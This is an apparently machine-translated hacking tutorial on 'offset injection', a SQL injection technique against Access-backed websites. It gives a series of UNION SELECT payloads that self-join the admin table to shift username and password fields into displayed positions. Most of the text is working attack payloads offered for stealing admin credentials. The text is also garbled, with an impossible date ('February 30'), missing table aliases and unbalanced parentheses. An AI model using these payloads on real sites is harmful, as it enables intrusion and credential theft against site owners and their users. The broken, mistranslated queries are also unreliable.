Access offset Injection

From:Zake85.cn

This solution solves the problem of website with fields not found by injecting % 90 into the table. We sincerely thank the brothers for their discussion on July 15, February 30!

I will give an example of dynamic articles.

It has 28 fields.

Add five fields to the admin table

Then union select, from admin
Union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17,18, 19,20, 21,22, 23, * from admin

* Five fields?

In this way, all the commands in admin are cracked.

Note that * indicates all admin table fields.

If, for example, username is displayed

It will be displayed on the page

I need to fill out his fields ·

Technology limitations: This method requires the table name and a field name id.

No other fields

For example, password username

Do you want to ask him if he is not in the available position?

What I usually don't know is that the table name and table segment name can be found by searching for background Login

This depends on your own.

Let's look at this statement.
Union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, * from (admin as a inner join admin as B on a. id = B. id)

This (admin as a inner join admin as B on a. id = B. id) is an admin table self-join.

In this way, the table following from will become the table with the double number of fields.

The first 18 + 2*5 = 28 fields are valid.

* The field represents a wider chance of increasing the display position of username password.

What should I do if I am not there? Then union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,. id, * from (admin as a inner join admin as B on. id = B. id)

Union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,. id, B. id, * from (admin as a inner join admin as B on. id = B. id)

Do you think this statement is legal? 18 + 2 + 5*2 = 30> 28

This is critical.

Why is it a legal statement?

This is the core technology that must be understood.

How can we ensure that the front side is 30 and the back side is 28?

Because a. id and B. id exist in *.

Then, the computer automatically removes duplicates and maintains the uniqueness of elements in the set.

In this way, although the query results are the same

However, the order of fields in * is broken!
It is very likely that the username password will be offset to the displayed location after two interruptions.

What if it is not successful?
Union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13,. id, B. id, c. id, * from (admin as a inner join admin as B on. id = B. id) inner join admin as c on. id = c. id)

Union select 1, 2, 3, 4, 5, 6, 7, 8,. id, B. id, c. id, d. id, * from (admin as a inner join admin as B on. id = B. id) inner join admin as c on. id = c. id) inner join admin as d on. id = d. id)